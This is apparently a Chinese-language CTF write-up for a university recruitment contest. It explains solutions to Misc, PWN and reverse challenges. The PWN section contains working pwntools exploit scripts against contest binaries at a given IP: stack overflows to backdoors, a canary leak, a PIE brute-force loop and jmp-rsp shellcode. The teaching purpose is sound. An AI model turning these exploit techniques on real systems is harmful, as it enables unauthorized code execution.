NEUQCSA2023-招新赛题解

# 得分情况总览





# 解题思路 && EXP

# Misc

# Login


下载下来是个 gif 文件,通过某些在线工具就可以拆成单个帧,然后发现是三个图片各有一部分 flag,连接起来就行了

# 有点奇怪的二维码


下载后在 winhex 查看发现底部存在

1
hint:LSB

可知图片使用了 LSB 隐写,用 stegsolve 打开,查看后发现有一位的二维码不一样,扫描后就是 flag

# 简单社工


根据标题可知是一道社工的题目,根据常识可知是大雁塔(也可以 bdfs 大慈恩寺),直接知道地名,然后,就 get 到 flag 了

# PWN

# backdoor


基础的 x64 栈溢出,溢出到 backdoor 完全 OK

1
2
3
4
5
6
7
from pwn import*
p=remote('8.130.110.158',2102)
# gdb.attach(p)
# p=process('')
payload=b'a'* (0x120+8)+ p64(0x4011B6)
p.sendline(payload)
p.interactive()

# Canary


checksec 后发现开启了 canary(根据题目名称也可以知道是 canary)
打开 IDA 后发现有两次 read,而且都可以进行栈溢出,且空间足够。由于开启了 canary,所以必须先得到 canary 然后进行栈溢出。
因此,第一次 read 用来泄露 canary,第二次用来 ret 到 backdoor
众所周知,buf 在第二个 printf 输出的时候,遇到 \x00 才会停止输出。因此我们可以输入足够长的垃圾数据,让他直接占到紧接着 canary 的位置(0x30-8 个 a),
这样就不会在 canary 之前有 \x00,这样就可以在输出 buf 的时候连着 canary 一起输出。
获得了 canary 之后就像普通的栈溢出做就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
context.log_level='debug'
p=remote('8.130.110.158',2106)

# p=process('./6')
# gdb.attach(p,'''
# b * 0x401234
# ''')
payload1=b'a'*(0x30-8)

# p.sendline(payload)
p.sendlineafter('name?',payload1)
# p.recvuntil(b'a'*(0x30-8))
p.recvuntil(b'\x0a')
p.recvuntil(b'\x0a')
# canary=u64(p.recv(7).ljust(8,b'\x00'))
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload2=b'\x00'*(0x30-8)+p64(canary)+p64(1)+p64(0x4011d6)
p.sendlineafter('say?',payload2)
p.interactive()

# ret3locked_backdoor


Q:what do you do if I lock the back door?
A: FBI!!! Open The F**King DOOR!!!
checksec 后没有啥特别的。。。
拖进 IDA 后发现好扎眼的 backdoor
读了代码发现正常栈溢出需要 lock=0,于是尝试直接跳到 command = "/bin/sh"; 来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
# p=remote('8.130.110.158',2101)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
gdb.attach(p,'b *0x401273')
bd=0x4011E1
shell=0x402008
ret=0x40101a
retrdi=0x4012f3
a=0x401278
system=0x4040a8
payload=b'a'*0x38+p64(0x4011F7)
p.sendlineafter('However, what do you do if I lock the back door?\n',payload)
p.interactive()

但是 gdb 调试之后发现会卡在 0x4011FE 的指令上面。仔细看后,发现程序反正都是要读取,
而且它读取的地址是 rbp-0x10. 因此我们可以把 shell 放在 rbp-0x10 的地址上面。
具体实现,发现汇编指令里面有两条指令
1
2
3
0x4011e5      push   rbp
0x4011e6 mov rbp, rsp
0x4011e9 sub rsp, 0x10

那么执行过这两条指令之后,rbp-0x10 就是 rsp。因此,我们可以把 shell 的地址放在栈里面的 rbp 上面,这样在 shell 会先在 rsp 上面,然后在被 mov 到 rbp 上面
之后程序就可以以我们自己的方式读入 shell,而不依赖于 lock 的读入。
这样就可以正常执行了。。。
(不要忘记栈对齐哦~~~)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
# p=remote('8.130.110.158',2101)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
gdb.attach(p,'b *0x401273')
bd=0x4011E1
shell=0x402008
ret=0x40101a
retrdi=0x4012f3
a=0x401278
system=0x4040a8
payload=b'a'*0x30+p64(0x402008)+p64(0x401288)+p64(0x4011E1)
p.sendlineafter('However, what do you do if I lock the back door?\n',payload)
p.interactive()

# one_hand


Q: God Liang can effortlessly conquer any pwn challenge with just one hand.Can you do it like him?
A: What will he do if I lock Liang's backdoor?
checksec 后发现开启了 PIE,IDA 分析后发现 one_hand_read (),意思就是 8 个字节的空间中只读后面四个字节。
反正咱们爆破 PIE 只需要修改 ret 地址后两个字节进行跳转。这里一定不要用 sendline,因为它在 sendline 之后就会自动添加 \x0a
(除非你愿意用自己的寿命来换取人品,在换取欧气,然后在爆破 doge)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# one hand
from pwn import*
import time
#
list1=[b'\x01',b'\x11',b'\x21',b'\x31',b'\x41',b'\x51',b'\x61',b'\x71',b'\x81',b'\x91',b'\xa1',b'\xb1',b'\xc1',b'\xd1',b'\xe1',b'\xf1']
i=0
while True:
i=i+1
print(i)
p=remote('8.130.110.158',2103)
# p=process('./4')
# gdb.attach(p)
context.log_level='debug'
bd=b'\xb1'+random.sample(list1,1)[0]
payload=b'\x11\x11\xad\xde'*11+bd
p.send(payload)
print(hex(payload[-1]))
print(hex(payload[-2]))
# p.interactive()
try:
a=p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
print(a)
# p.send('cat flag')
p.interactive()
break

# Jmp.Cliff


checksec 之后发现啥东西都没开,IDA 分析后发现栈溢出的空间充足
之后发现 Jmp.Cliff 专属的函数,然后里面有 jmp rsp 的指令,那么就可以考虑把 shellcode 的开始放在 rsp 的地方。
就这些。。。

1
2
3
4
5
6
7
8
9
from pwn import*
context(arch='amd64',os='linux')
# p=process('./7')
p=remote('8.130.110.158',2107)
# gdb.attach(p)
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x38,b'\x00')+p64(0x40119E)+shellcode
p.sendlineafter('down',payload)
p.interactive()

# 艹种子


刚开始拿到这个题目,根据以前所了解的,这个应该是堆的题目。但是我还没学,所以就到了后面才开始做。
直到发了 hint:“malloc 和 free 是一对函数。free 释放掉的内存单元碎片会由堆管理器进行管理,待到程序 malloc 同样大小的堆块时,堆管理器会把这块内存拿来重新利用。”
拖进 IDA 先读一遍代码,之后就有了一些思路:
上来就用 try_again () 把 wall 给 free 了
然后在建一个种子,然后炸掉它
按理来说怎么建都应该没问题,反正炸了在建用的内存都一样。
然后直接 hack——backdoor————————————BOOM!!!!!flag {艹}

1
3 1 2 1 4

# Reverse

# upx


没啥东西,upx 脱壳后直接解密就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<=iostream>                //tmd这里< code>识别的有点问题反正都能看出来是啥
#include<=cstring> //tmd这里< code>识别的有点问题反正都能看出来是啥

using namespace std;
string v4="just a upx";
char key[100]={0x0C, 0x19, 0x12, 0x13, 0x5B, 0x52, 0x18, 0x4D, 0x44, 0x49,
0x5B, 0x4D, 0x45, 0x59, 0x65, 0x52, 0x64, 0x36, 0x5D, 0x40,
0x2F, 0x37, 0x44, 0x59, 0x16, 0x57, 0x19, 0x36, 0x5D, 0x3E,
0x5B, 0x37, 0x40, 0x45, 0x14, 0x53, 0x62, 0x41, 0x34, 0x3E,
0x29, 0x8, 0x16};
int main(){
for ( int i = 0; i <= 0x29; ++i )
key[i] ^= v4[i % 0xA];
for(int i=0;i <= 0x29; ++i){
cout<=<=key[i]; //tmd这里< code>识别的有点问题反正都能看出来是啥
}
return 0;
}